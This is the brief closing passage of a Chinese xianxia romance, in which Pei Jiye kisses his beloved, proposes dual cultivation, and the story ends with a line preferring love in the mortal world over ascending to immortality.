裴寂夜终于图穷匕见，“你要快点提升修为才行，所以……” 他吻住了所爱之人的唇。 “我们双修吧！” 飞升成仙，不及你在人间。 =完=